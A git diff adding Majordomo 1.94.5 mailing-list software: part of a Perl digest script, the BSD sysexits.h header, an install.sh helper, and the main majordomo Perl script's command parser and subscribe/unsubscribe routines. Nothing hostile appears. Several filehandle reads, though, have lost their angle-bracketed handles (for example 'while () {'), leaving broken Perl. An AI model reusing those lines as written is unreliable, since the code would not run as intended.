$config_opts{$opt_l,"digest_rm_fronter"}); + $RMHEADER = $config_opts{$config_opts{$opt_l,"digest_rm_fronter"}, + "message_fronter"}; + $RMHEADER =~ s/([^A-Za-z0-9 \001])/\\\1/g; + $RMHEADER =~ s/\\\$(SENDER|VERSION|LIST)/\[\^\\n\]\*/g; + $RMHEADER =~ s/\001/\\n/g; + } + if ($config_opts{$opt_l,"digest_rm_footer"}) { + if ($config_opts{$opt_l,"digest_rm_footer"} ne + $config_opts{$opt_l,"digest_rm_fronter"}) { + &get_config($listdir, $config_opts{$opt_l,"digest_rm_footer"}); + } + $RMTRAILER = $config_opts{$config_opts{$opt_l,"digest_rm_footer"}, + "message_footer"}; + $RMTRAILER =~ s/([^A-Za-z0-9 \001])/\\\1/g; + $RMTRAILER =~ s/\\\$(SENDER|VERSION|LIST)/\[\^\\n\]\*/g; + $RMTRAILER =~ s/\001/\\n/g; + } + + # map config opts to internal variables and $V array + $HEADER = $config_opts{$opt_l,"message_fronter"}; + $HEADER =~ s/\001/\n/g; + $TRAILER = $config_opts{$opt_l,"message_footer"}; + $TRAILER =~ s/\001/\n/g; + $VOLUME = $config_opts{$opt_l,"digest_volume"}; + $NUMBER = $config_opts{$opt_l,"digest_issue"}; + $Precedence = $config_opts{$opt_l,"precedence"}; + $Precedence = "bulk" if ($Precedence eq ""); + $V{'ARCHIVE'} = "$filedir/$opt_l$filedir_suffix"; + $V{'DIGEST_SIZE'} = $config_opts{$opt_l, "maxlength"}; + $V{'DIGEST_LINES'} = $config_opts{$opt_l, "digest_maxlines"}; + $V{'MAX_AGE'} = $config_opts{$opt_l, "digest_maxdays"}; + $V{'ERRORS-TO'} = $config_opts{$opt_l,"sender"} . "@" . + ($config_opts{$opt_l,"resend_host"} + ||$whereami); + $V{'FROM'} = $config_opts{$opt_l, "sender"}. "@" . + ($config_opts{$opt_l,"resend_host"} + ||$whereami); + $V{'INCOMING'} = "$digest_work_dir/$opt_l"; + $V{'NAME'} = $config_opts{$opt_l,"digest_name"}; + $V{'REALLY-TO'} = $ARGV[0]; + $V{'REPLY-TO'} = $config_opts{$opt_l,"reply_to"}; + $V{'TO'} = "$opt_l\@$whereami"; + + # make the headers keyword work + if ( $config_opts{$opt_l,"message_headers"} ne '' ) { + $from = $V{'FROM'}; + $HEADERS = &config'substitute_values ( + $config_opts{$opt_l,"message_headers"}, $opt_l); + $HEADERS =~ s/\001/\n/g; + } + } # list is defined + } else { # not using -C + require "config_parse.pl"; + +# Define all of the mailer properties: +# The majordomo.cf file isn't used in this option, so fake everything. +$sendmail_command = "/usr/lib/sendmail" + unless defined $sendmail_command; +$mailer = "$sendmail_command -oi -oee -f\$sender" + unless defined $mailer; +$bounce_mailer = "$sendmail_command -fmajordomo-owner -t" + unless defined $bounce_mailer; +&set_abort_addr("majordomo-owner"); +&set_mail_from("majordomo-owner"); +&set_mail_sender("majordomo-owner"); +&set_mailer($bounce_mailer); + + open(config) || &abort("$config: $!\n"); + while () { + next if /^\s*$|^\s*#/; + chop; + ($key,$value) = split(/\s*=\s*/,$_,2); + $V{$key} = $value; + } + close(config); + + # Let's hope that nobody ever invokes us both with and + # without -C, since these locks don't interact + $lockfile = "$V{'INCOMING'}/.LOCK"; + &set_lock($lockfile) || + &abort("$program_name: can't get lock '$lockfile'\n"); + $lock_set = 1; + + open(header,$V{'HEADER'}) || &abort("$V{'HEADER'}: $!\n"); + $HEADER = join("",
    ); + close(header); + + open(trailer,$V{'TRAILER'}) || &abort("$V{'TRAILER'}: $!\n"); + $TRAILER = join("",); + close(trailer); + + open(VOL_FILE,$V{'VOL_FILE'}) || &abort("$V{'VOL_FILE'}: $!\n"); + $VOLUME = join("",); + chop($VOLUME); + close(VOL_FILE); + + open(NUM_FILE,$V{'NUM_FILE'}) || &abort("$V{'NUM_FILE'}: $!\n"); + $NUMBER = join("",); + chop($NUMBER); + close(NUM_FILE); + + } # end not using -C +} + +#my favorite of the existing getopt routines; twisted +# +sub getopt { + local($_,%opt,$rest) = (split(/([^:])/,$_[0]),''); + while ($_ = $ARGV[0], /^-(.)/ && shift(@ARGV)) { + $rest = $'; + last if $1 eq '-'; + if (!defined $opt{$1}) { + warn "Unrecognized switch \"-$1\".\n"; + return 0; + }elsif ($opt{$1}) { + $rest = shift(@ARGV) if $rest eq ''; + eval "\$opt_$1 = \$rest"; + }else{ + eval "\$opt_$1 = 1"; + $rest =~ /^(.)/; + redo if $rest ne ''; + } + } + return 1; +} + +sub cleanup { + unlink($TEMP); + exit(1); +} + +sub getdate { + local($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time); + $year += 1900; + return("$DAYS[$wday], $MONTHS[$mon] $mday $year"); +} + +sub abort { + local($msg) = shift; + + &free_lock($lockfile) if $lock_set; + die($msg); +} diff --git a/update/scripts/packages/majordomo-1.94.5/include/sysexits.h b/update/scripts/packages/majordomo-1.94.5/include/sysexits.h new file mode 100644 index 0000000..464cb11 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/include/sysexits.h @@ -0,0 +1,118 @@ +/* + * Copyright (c) 1987, 1993 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * @(#)sysexits.h 8.1 (Berkeley) 6/2/93 + */ + +#ifndef _SYSEXITS_H_ +#define _SYSEXITS_H_ + +/* + * SYSEXITS.H -- Exit status codes for system programs. + * + * This include file attempts to categorize possible error + * exit statuses for system programs, notably delivermail + * and the Berkeley network. + * + * Error numbers begin at EX__BASE to reduce the possibility of + * clashing with other exit statuses that random programs may + * already return. The meaning of the codes is approximately + * as follows: + * + * EX_USAGE -- The command was used incorrectly, e.g., with + * the wrong number of arguments, a bad flag, a bad + * syntax in a parameter, or whatever. + * EX_DATAERR -- The input data was incorrect in some way. + * This should only be used for user's data & not + * system files. + * EX_NOINPUT -- An input file (not a system file) did not + * exist or was not readable. This could also include + * errors like "No message" to a mailer (if it cared + * to catch it). + * EX_NOUSER -- The user specified did not exist. This might + * be used for mail addresses or remote logins. + * EX_NOHOST -- The host specified did not exist. This is used + * in mail addresses or network requests. + * EX_UNAVAILABLE -- A service is unavailable. This can occur + * if a support program or file does not exist. This + * can also be used as a catchall message when something + * you wanted to do doesn't work, but you don't know + * why. + * EX_SOFTWARE -- An internal software error has been detected. + * This should be limited to non-operating system related + * errors as possible. + * EX_OSERR -- An operating system error has been detected. + * This is intended to be used for such things as "cannot + * fork", "cannot create pipe", or the like. It includes + * things like getuid returning a user that does not + * exist in the passwd file. + * EX_OSFILE -- Some system file (e.g., /etc/passwd, /etc/utmp, + * etc.) does not exist, cannot be opened, or has some + * sort of error (e.g., syntax error). + * EX_CANTCREAT -- A (user specified) output file cannot be + * created. + * EX_IOERR -- An error occurred while doing I/O on some file. + * EX_TEMPFAIL -- temporary failure, indicating something that + * is not really an error. In sendmail, this means + * that a mailer (e.g.) could not create a connection, + * and the request should be reattempted later. + * EX_PROTOCOL -- the remote system returned something that + * was "not possible" during a protocol exchange. + * EX_NOPERM -- You did not have sufficient permission to + * perform the operation. This is not intended for + * file system problems, which should use NOINPUT or + * CANTCREAT, but rather for higher level permissions. + */ + +#define EX_OK 0 /* successful termination */ + +#define EX__BASE 64 /* base value for error messages */ + +#define EX_USAGE 64 /* command line usage error */ +#define EX_DATAERR 65 /* data format error */ +#define EX_NOINPUT 66 /* cannot open input */ +#define EX_NOUSER 67 /* addressee unknown */ +#define EX_NOHOST 68 /* host name unknown */ +#define EX_UNAVAILABLE 69 /* service unavailable */ +#define EX_SOFTWARE 70 /* internal software error */ +#define EX_OSERR 71 /* system error (e.g., can't fork) */ +#define EX_OSFILE 72 /* critical OS file missing */ +#define EX_CANTCREAT 73 /* can't create (user) output file */ +#define EX_IOERR 74 /* input/output error */ +#define EX_TEMPFAIL 75 /* temp failure; user is invited to retry */ +#define EX_PROTOCOL 76 /* remote error in protocol */ +#define EX_NOPERM 77 /* permission denied */ +#define EX_CONFIG 78 /* configuration error */ + +#define EX__MAX 78 /* maximum listed value */ + +#endif /* !_SYSEXITS_H_ */ diff --git a/update/scripts/packages/majordomo-1.94.5/install.sh b/update/scripts/packages/majordomo-1.94.5/install.sh new file mode 100644 index 0000000..edfa862 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/install.sh @@ -0,0 +1,251 @@ +#! /bin/sh + +## (From INN-1.4, written by Rich Salz) +## $Revision: 1.1 $ +## A script to install files and directories. + +PROGNAME=`basename $0` + +## Paths to programs. CHOWN and WHOAMI are checked below. +CHOWN=chown +CHGRP=chgrp +CHMOD=chmod +CP=cp +LN=ln +MKDIR=mkdir +MV=mv +RM=rm +STRIP=strip +WHOAMI=whoami + +## Some systems don't support -x, so we have to use -f. +if [ ${CHOWN} = chown ] ; then + if [ -f /etc/chown ] ; then + CHOWN=/etc/chown + else + if [ -f /usr/etc/chown ] ; then + CHOWN=/usr/etc/chown + fi + fi +fi + +if [ ${WHOAMI} = whoami ] ; then + if [ -f /usr/ucb/whoami ] ; then + WHOAMI=/usr/ucb/whoami + fi +fi + +## Defaults. +CHOWNIT=false +CHGROUPIT=false +CHMODIT=false +STRIPIT=false +BACKIT=false +TOUCHIT=true +SAVESRC=false +ROOT=unknown + +## Process JCL. +MORETODO=true +while ${MORETODO} ; do + case X"$1" in + X-b) + BACKIT=true + BACKUP="$2" + shift + ;; + X-b*) + BACKIT=true + BACKUP=`expr "$1" : '-b\(.*\)'` + ;; + X-c) + SAVESRC=true + ;; + X-g) + GROUP="$2" + CHGROUPIT=true + shift + ;; + X-g*) + GROUP=`expr "$1" : '-g\(.*\)'` + CHGROUPIT=true + ;; + X-G) + case ${ROOT} in + unknown) + case `${WHOAMI}` in + root) + ROOT=true + ;; + *) + ROOT=false + ;; + esac + ;; + esac + GROUP="$2" + shift + ${ROOT} && CHGROUPIT=true + ;; + X-G*) + case ${ROOT} in + unknown) + case `${WHOAMI}` in + root) + ROOT=true + ;; + *) + ROOT=false + ;; + esac + ;; + esac + if ${ROOT} ; then + GROUP=`expr "$1" : '-g\(.*\)'` + CHGROUPIT=true + fi + ;; + X-m) + MODE="$2" + CHMODIT=true + shift + ;; + X-m*) + MODE=`expr "$1" : '-m\(.*\)'` + CHMODIT=true + ;; + X-n) + TOUCHIT=false + ;; + X-o) + OWNER="$2" + CHOWNIT=true + shift + ;; + X-o*) + OWNER=`expr "$1" : '-o\(.*\)'` + CHOWNIT=true + ;; + X-O) + case ${ROOT} in + unknown) + case `${WHOAMI}` in + root) + ROOT=true + ;; + *) + ROOT=false + ;; + esac + ;; + esac + OWNER="$2" + shift + ${ROOT} && CHOWNIT=true + ;; + X-O*) + case ${ROOT} in + unknown) + case `${WHOAMI}` in + root) + ROOT=true + ;; + *) + ROOT=false + ;; + esac + ;; + esac + if ${ROOT} ; then + OWNER=`expr "$1" : '-o\(.*\)'` + CHOWNIT=true + fi + ;; + X-s) + STRIPIT=true + ;; + X--) + shift + MORETODO=false + ;; + X-*) + echo "${PROGNAME}: Unknown flag $1" 1>&2 + exit 1 + ;; + *) + MORETODO=false + ;; + esac + ${MORETODO} && shift +done + +## Process arguments. +if [ $# -ne 2 ] ; then + echo "Usage: ${PROGNAME} [flags] source destination" + exit 1 +fi + +## Making a directory? +if [ X"$1" = X. ] ; then + DEST="$2" + if [ ! -d "${DEST}" ] ; then + ${MKDIR} "${DEST}" || exit 1 + fi + if ${CHOWNIT} ; then + ${CHOWN} "${OWNER}" "${DEST}" || exit 1 + fi + if ${CHGROUPIT} ; then + ${CHGRP} "${GROUP}" "${DEST}" || exit 1 + fi + if ${CHMODIT} ; then + umask 0 + ${CHMOD} "${MODE}" "${DEST}" || exit 1 + fi + exit 0 +fi + +## Get the destination and a temp file in the destination diretory. +if [ -d "$2" ] ; then + DEST="$2/$1" + TEMP="$2/$$.tmp" +else + DEST="$2" + TEMP="`expr "$2" : '\(.*\)/.*'`/$$.tmp" +fi + +## If not given the same name, we must try to copy. +if [ X"$1" != X"$2" -o $SAVESRC ] ; then + if cmp -s "$1" "${DEST}" ; then + ## Files are same; touch or not. + ${TOUCHIT} && touch "${DEST}" + else + ## If destination exists and we wish to backup, link to backup. + if [ -f "${DEST}" ] ; then + if ${BACKIT} ; then + ${RM} -f "${DEST}${BACKUP}" + ${LN} "${DEST}" "${DEST}${BACKUP}" + fi + fi + ## Copy source to the right dir, then move to right spot. + ## Done in two parts so we can hope for atomicity. + ${RM} -f "${TEMP}" || exit 1 + ${CP} "$1" "${TEMP}" || exit 1 + ${MV} -f "${TEMP}" "${DEST}" || exit 1 + fi +fi + +## Strip and set the modes. +if ${STRIPIT} ; then + ${STRIP} "${DEST}" || exit 1 +fi +if ${CHOWNIT} ; then + ${CHOWN} "${OWNER}" "${DEST}" || exit 1 +fi +if ${CHGROUPIT} ; then + ${CHGRP} "${GROUP}" "${DEST}" || exit 1 +fi +if ${CHMODIT} ; then + umask 0 + ${CHMOD} "${MODE}" "${DEST}" || exit 1 +fi +exit 0 diff --git a/update/scripts/packages/majordomo-1.94.5/majordomo b/update/scripts/packages/majordomo-1.94.5/majordomo new file mode 100644 index 0000000..acbdcb5 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/majordomo @@ -0,0 +1,1951 @@ +#!/bin/perl +# $Modified: Thu Jan 13 18:29:15 2000 by cwilson $ + +# majordomo: a person who speaks, makes arrangements, or takes charge +# for another. +# +# Copyright 1992, D. Brent Chapman. See the Majordomo license agreement for +# usage rights. +# +# $Source: /sources/cvsrepos/majordomo/majordomo,v $ +# $Revision: 1.95 $ +# $Date: 2000/01/13 17:29:31 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ + +# set our path explicitly +# PATH it is set in the wrapper, so there is no need to set it here. +# until we run suid... +#$ENV{'PATH'} = "/bin:/usr/bin:/usr/ucb"; + +# Before doing anything else tell the world I am majordomo +# The mj_ prefix is reserved for tools that are part of majordomo proper. +$main'program_name = 'mj_majordomo';#'; + +# Read and execute the .cf file +$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; + +while ($ARGV[0]) { # parse for config file or default list + if ($ARGV[0] =~ /^-C$/i) { # sendmail v8 clobbers case + $cf = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); + } elsif ($ARGV[0] eq "-l") { + $deflist = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); + } else { + die "Unknown argument $ARGV[0]\n"; + } +} +if (! -r $cf) { + die("$cf not readable; stopped"); +} + +require "$cf"; + +# Go to the home directory specified by the .cf file +chdir("$homedir") || die "chdir to $homedir failed, $!\n"; + +# If standard error is not attached to a terminal, redirect it to a file. +if (! -t STDERR) { + close STDERR; + open (STDERR, ">>$TMPDIR/majordomo.debug"); +} + +print STDERR "$0: starting\n" if $DEBUG; + +# All these should be in the standard PERL library +unshift(@INC, $homedir); +use POSIX qw(ctime); # To get MoY definitions for month abbrevs +require "majordomo_version.pl"; # What version of Majordomo is this? +require "majordomo.pl"; # all sorts of general-purpose Majordomo subs +require "shlock.pl"; # NNTP-style file locking +require "config_parse.pl"; # functions to parse the config files + +print STDERR "$0: requires succeeded. Setting defaults.\n" if $DEBUG; + +# Here's where the fun begins... +# check to see if the cf file is valid +die("\$listdir not defined. Is majordomo.cf being included correctly?") + if !defined($listdir); + +# Define all of the mailer properties: +# It is possible that one or both of $sendmail_command and $bounce_mailer +# are not defined, so we provide reasonable defaults. +$sendmail_command = "/usr/lib/sendmail" + unless defined $sendmail_command; +$bounce_mailer = "$sendmail_command -f\$sender -t" + unless defined $bounce_mailer; + + +&set_abort_addr($whoami_owner); +&set_mail_from($whoami); +&set_mail_sender($whoami_owner); +&set_mailer($bounce_mailer); + +$majordomo_dont_reply = $majordomo_dont_reply + || '(mailer-daemon|uucp|listserv|majordomo)\@'; + +# where do we look for files, by default? +if (!defined($filedir)) { + $filedir = $listdir; +} +if (!defined($filedir_suffix)) { + $filedir_suffix = ".archive"; +} + +# what command do we use to generate an index, by default? +if (!defined($index_command)) { + $index_command = "/bin/ls -lRL"; +} + +# where are we for FTP, by default? (note: only set this if $ftpmail is set) +if (defined($ftpmail_address)) { + if (!defined($ftpmail_location)) { + $ftpmail_location = $whereami; + } +} + +print STDERR "$0: done with defaults, parsing mail header.\n" if $DEBUG; + +# Parse the mail header of the message, so we can figure out who to reply to +&ParseMailHeader(STDIN, *hdrs); + +# Now we try to figure out who to send the replies to. +# $reply_to also becomes the default target for subscribe/unsubscribe +$reply_to = &RetMailAddr(*hdrs); + +print STDERR "$0: setting log file.\n" if $DEBUG; + +# Set up the log file +&set_log($log, $whereami, "majordomo", $reply_to); + +# if somebody has set $reply_to to be our own input address, there's a problem. +if (&addr_match($reply_to, $whoami)) { + &abort( "$whoami punting to avoid mail loop.\n"); + exit 0; +} + +if (! &valid_addr($reply_to)) { + &abort( "$whoami: $reply_to is not a valid return address.\n"); + exit 2; +} + +# robots should not reply to other robots... +if ($reply_to =~ m/$majordomo_dont_reply/i) { + &abort( "$whoami: not replying to $1 to avoid mail loop.\n"); + exit 0; +} + +if ($return_subject && defined $hdrs{'subject'}) { + $sub_addin = ": " . substr($hdrs{'subject'}, 0, 40); + } else { + $sub_addin = ''; + } + +print STDERR "$0: some quick sanity checks on permissions.\n" if $DEBUG; + +# do some sanity checking on permissions +# This bails out via abort if needed. +# +&check_permissions; + +print STDERR "$0: opening sendmail process.\n" if $DEBUG; + +# Open the sendmail process to send the results back to the requestor +&sendmail(REPLY, $reply_to, "Majordomo results$sub_addin"); + +select((select(REPLY), $| = 1)[0]); + +print STDERR "$0: processing commands in message body.\n" if $DEBUG; + +# Process the rest of the message as commands +while (<>) { + $approved = 0; # all requests start as un-approved + $quietnonmember = 0; # show non-member on unsubscribe + while ( /\\\s*$/ ) { # if the last non-whitespace + &chop_nl($_); # character is '\', chop the nl + s/\\\s*$/ /; # replace \ with space char + $_ .= scalar(<>); # append the next line + } + print REPLY ">>>> $_"; # echo the line we are processing + $_ = &chop_nl($_); # strip any trailing newline + s/^\s*#.*//; # strip comments + s/^\s+//; # strip leading whitespace + s/\s+$//; # strip trailing whitespace + s/\\ /\001/g; # protected escaped whitepace + if (/^begin\s+\d+\s+\S+$/) { # bail on MSMail uuencode attachments + print REPLY "ATTACHMENT DETECTED; COMMAND PROCESSING TERMINATED.\n"; + last; + } + + @parts = split(" "); # split into component parts + grep(s/\001/ /, @parts); # replace protected whitespace with + # whitespace + $cmd = shift(@parts); # isolate the command + $cmd =~ tr/A-Z/a-z/; # downcase the command + if ($cmd eq "") { next; } # skip blank lines + # figure out what to do and do it + # the "do_*" routines implement specific Majordomo commands. + # they are all passed the same arguments: @parts. + $count++; # assume it's a valid command, so count it. + if ($cmd eq "end") { print REPLY "END OF COMMANDS\n"; last; } + elsif ($cmd =~ /^-/ && + (!defined($hdrs{'content-type'}) || + $hdrs{'content-type'} !~ /multipart/i)) + { + # treat lines beginning with "-" as END only if this is NOT a MIME + # multipart msg. MIME messages should have "Content-Type:" + # headers, and multipart messages should have the string + # "multipart" somewhere in that header. If we just look for + # Content-Type: we trap messages with Content-Type: text/plain, + # which is pretty common these days. + print REPLY "END OF COMMANDS\n"; + last; + } + elsif ($cmd eq "subscribe") { &do_subscribe(@parts); } + elsif ($cmd eq "unsubscribe") { &do_unsubscribe(@parts); } + elsif ($cmd eq "signoff") { &do_unsubscribe(@parts); } + elsif ($cmd eq "cancel") { &do_unsubscribe(@parts); } + elsif ($cmd eq "approve") { &do_approve(@parts); } + elsif ($cmd eq "passwd") { &do_passwd(@parts); } + elsif ($cmd eq "which") { &do_which(@parts); } + elsif ($cmd eq "who") { &do_who(@parts); } + elsif ($cmd eq "info") { &do_info(@parts); } + elsif ($cmd eq "newinfo") { &do_newinfo(@parts); } + elsif ($cmd eq "intro") { &do_intro(@parts); } + elsif ($cmd eq "newintro") { &do_newintro(@parts); } + elsif ($cmd eq "config") { &do_config(@parts); } + elsif ($cmd eq "newconfig") { &do_newconfig(@parts); } + elsif ($cmd eq "writeconfig") { &do_writeconfig(@parts); } + elsif ($cmd eq "mkdigest") { &do_mkdigest(@parts); } + elsif ($cmd eq "lists") { &do_lists(@parts); } + elsif ($cmd eq "help") { &do_help(@parts); } + elsif ($cmd eq "get") { &do_get(@parts); } + elsif ($cmd eq "index") { &do_index(@parts); } + elsif ($cmd eq "auth") { &do_auth(@parts); } + else { + &squawk("Command '$cmd' not recognized."); + $count--; # if we get to here, it wasn't really a command + } +} + +# we've processed all the commands; let's clean up and go home +&done(); + +# Everything from here on down is subroutine definitions + +sub do_subscribe { + # figure out what list we are trying to subscribe to + # and check to see if the list is valid + local($sm) = "subscribe"; + local($list, $clean_list, @args) = &get_listname($sm, 1, @_); + + # figure out who's trying to subscribe, and check that it's a valid address + local($subscriber) = join(" ", @args); + if ($subscriber eq "") { + $subscriber = $reply_to; + } + if (! &valid_addr($subscriber, $clean_list)) { + &squawk("$sm: invalid address '$subscriber'"); + return 0; + } + + local($FLAGIT); + if ($clean_list ne "") { + # The list is valid + # parse its config file if needed + + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + local($sub_policy) = $config_opts{$clean_list,"subscribe_policy"}; + + # check to see if this is a list with a 'confirm' subscribe policy, + # and check the cookie if so. + # + if (! $approved + && (($sub_policy =~ /confirm/) + && (&gen_cookie($sm, $clean_list, $subscriber) ne $auth_info))) + { + # We want to send the stripped address in the confirmation + # message if strip = yes. + if (&cf_ck_bool($clean_list,"strip")) { + $subscriber = (&ParseAddrs($subscriber))[0]; + } + &send_confirm("subscribe", $clean_list, $subscriber); + return 0; + } + + + # Check to see if this request is approved, or if the list is an + # auto-approve list, or if the list is an open list and the + # subscriber is the person making the request + if ($approved + || ($sub_policy =~ /auto/i && + # I don't think this check is doing the right thing. Chan 95/10/19 + &check_and_request($sm, $clean_list, $subscriber, "check_only")) + || (($sub_policy !~ /closed/ ) + && &addr_match($reply_to, $subscriber, + (&cf_ck_bool($clean_list,"mungedomain") ? 2 : undef))) + ) { + # Either the request is approved, or the list is open and the + # subscriber is the requester, so check to see if they're + # already on the list, and if not, add them to the list. + # Lock and open the list first, even though &is_list_member() + # will reopen it read-only, to prevent a race condition + &lopen(LIST, ">>", "$listdir/$clean_list") + || &abort("Can't append to $listdir/$clean_list: $!"); + if (&is_list_member($subscriber, $listdir, $clean_list)) { + print REPLY "**** Address already subscribed to $clean_list\n"; + &log("DUPLICATE subscribe $clean_list $subscriber"); + } else { + if ( &cf_ck_bool($clean_list,"strip") ) { + print LIST &valid_addr($subscriber), "\n" || + &abort("Error writing $listdir/$clean_list: $!"); + } else { + print LIST $subscriber, "\n" || + &abort("Error writing $listdir/$clean_list: $!"); + } + if (defined $deflist) { + print REPLY "Succeeded (to list $deflist).\n"; + } + else { + print REPLY "Succeeded.\n"; + } + &log("subscribe $clean_list $subscriber"); + # Send the new subscriber a welcoming message, and + # a notice of the new subscriber to the list owner + if ( &cf_ck_bool($clean_list,"strip") ) { + local($clean_sub) = &valid_addr($subscriber); + &welcome($clean_list, $clean_sub); + } else { + &welcome($clean_list, $subscriber); + } + } + &lclose(LIST) || &abort("Error closing $listdir/$clean_list: $!"); + } else { + &check_and_request($sm, $clean_list, $subscriber); + } + } else { + &squawk("$sm: unknown list '$list'."); + } +} + +sub do_unsubscribe_all { + local(@parts) = @_; + local($list); + + opendir(RD_DIR, $listdir) || &abort("opendir failed $!"); + @lists = grep(!/[^-\w]/, readdir(RD_DIR)); # skip non-list files (*.info, etc.) + closedir(RD_DIR); + + $quietnonmember=1; + + foreach $list (sort @lists) { + print REPLY "Doing 'unsubscribe $list ", join(' ', @parts), "'.\n" + if $DEBUG; + &do_unsubscribe($list, @parts); + } +} + +sub do_unsubscribe { + if ($_[0] =~ /^\*$/) { + shift; + &do_unsubscribe_all(@_); + return 0; + } + local($match_count) = 0; + local($match_length); + # figure out what list we are trying to unsubscribe from + # and check to see if the list is valid + local($sm) = "unsubscribe"; + local($list, $clean_list, @args) = &get_listname($sm, 1, @_); + + # figure out who's trying to unsubscribe, and check it's a valid address + local($subscriber) = join(" ", @args); + if ($subscriber eq "") { + $subscriber = $reply_to; + } + if (! &valid_addr($subscriber)) { + &squawk("$sm: invalid address '$subscriber'"); + return 0; + } + + print STDERR "do_unsubscribe: $subscriber from $clean_list\n" if $DEBUG; + + + if ($clean_list ne "") { + # The list is valid. + # get configuration info + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + local($unsub_policy) = $config_opts{$clean_list,"unsubscribe_policy"}; + + # Check to see if the subscriber really is subscribed to the list. + if (! &is_list_member($subscriber, $listdir, $clean_list)) { + unless ($quietnonmember) { + print REPLY <<"EOM"; +**** unsubscribe: '$subscriber' is not a member of list '$list'. +**** contact "$list-approval\@$whereami" if you need help. +EOM + } + return 0; + } + + print STDERR "do_unsubscribe: valid list, valid subscriber.\n" + if $DEBUG; + + # check to see if this is a list with a 'confirm' unsubscribe policy, + # and check the cookie if so and the subscriber is not the person + # making the request. + # + if (! $approved + && ! ((&addr_match($reply_to, $subscriber, + (&cf_ck_bool($clean_list,"mungedomain") + ? 2 : undef)))) + && (($unsub_policy =~ /confirm/) + && (&gen_cookie($sm, $clean_list, $subscriber) ne $auth_info))) + { + # We want to send the stripped address in the confirmation + # message if strip = yes. + if (&cf_ck_bool($clean_list,"strip")) { + $subscriber = (&ParseAddrs($subscriber))[0]; + } + &send_confirm("unsubscribe", $clean_list, $subscriber); + return 0; + } + + # Check to see if this request is approved, if the unsub policy is + # auto, or if the subscriber is the person making the request (even + # on a closed list, folks can unsubscribe themselves without the + # owner's approval). + if ($approved + || ($unsub_policy =~ /auto/i && + &check_and_request($sm, $clean_list, $subscriber, "check_only")) + + || ((&addr_match($reply_to, $subscriber, + (&cf_ck_bool($clean_list,"mungedomain") ? 2 : undef))))) { + + # Either the request is approved, or the subscriber is the + # requester, so drop them from the list + &lopen(LIST, "", "$listdir/$clean_list") || + &abort("Can't open $listdir/$clean_list: $!"); + (local($mode, $uid, $gid) = (stat(LIST))[2,4,5]) || + &abort("Can't stat listdir/$clean_list: $!"); + open(NEW, ">$listdir/$clean_list.new") || + &abort("Can't open $listdir/$clean_list.new: $!"); + chmod($mode, "$listdir/$clean_list.new") || + &abort("chmod($mode, \"$listdir/$clean_list.new\"): $!"); + chown($uid, $gid, "$listdir/$clean_list.new") || + &abort("chown($uid, $gid, \"$listdir/$clean_list.new\"): $!"); + while () { + if (! &addr_match($subscriber, $_, + (&cf_ck_bool($clean_list,"mungedomain") ? 2 : undef))) { + print NEW $_ || + &abort("Error writing $listdir/$clean_list.new: $!"); + } else { + $match_count++; + $match_length = length; + if ($match_count != 1) { + &squawk("$sm: '$subscriber' matches multiple list members."); + last; + } + } + } + close(NEW) || &abort("Error closing $listdir/$clean_list.new: $!"); + if ($match_count == 1) { + if ((-s "$listdir/$clean_list.new") + $match_length != + (-s "$listdir/$clean_list")) { + &abort("Unsubscribe failed: $listdir/$clean_list.new is wrong length!"); + } + # we deleted exactly 1 name, so now we shuffle the files + link("$listdir/$clean_list", "$listdir/$clean_list.old") || + &abort("link(\"$listdir/$clean_list\", \"$listdir/$clean_list.old\"): $!"); + rename("$listdir/$clean_list.new", "$listdir/$clean_list") || + &abort("rename(\"$listdir/$clean_list.new\", \"$listdir/$clean_list\"): $!"); + unlink("$listdir/$clean_list.old"); + if (defined $deflist) { + print REPLY "Succeeded (from list $deflist).\n"; + } + elsif ($quietnonmember) { + print REPLY "Succeeded (from list $clean_list).\n"; + } + else { + print REPLY "Succeeded.\n"; + } + &log("unsubscribe $clean_list $subscriber"); + if ( &cf_ck_bool($list,"announcements")) { + &sendmail(BYE, "$clean_list-approval\@$whereami", + "UNSUBSCRIBE $clean_list $subscriber"); + print BYE "$subscriber has unsubscribed from $clean_list.\n"; + print BYE "No action is required on your part.\n"; + close(BYE); + } + } + elsif ($match_count == 0) { + print REPLY "**** No matches found for '$subscriber'\n"; + } + else { + print REPLY "**** FAILED.\n"; + } + unlink("$listdir/$clean_list.new"); + &lclose(LIST); + } else { + print STDERR "do_unsubscribe: authorization failed, calling check_and_request.\n" if $DEBUG; + &check_and_request($sm, $clean_list, $subscriber); + } + } else { + 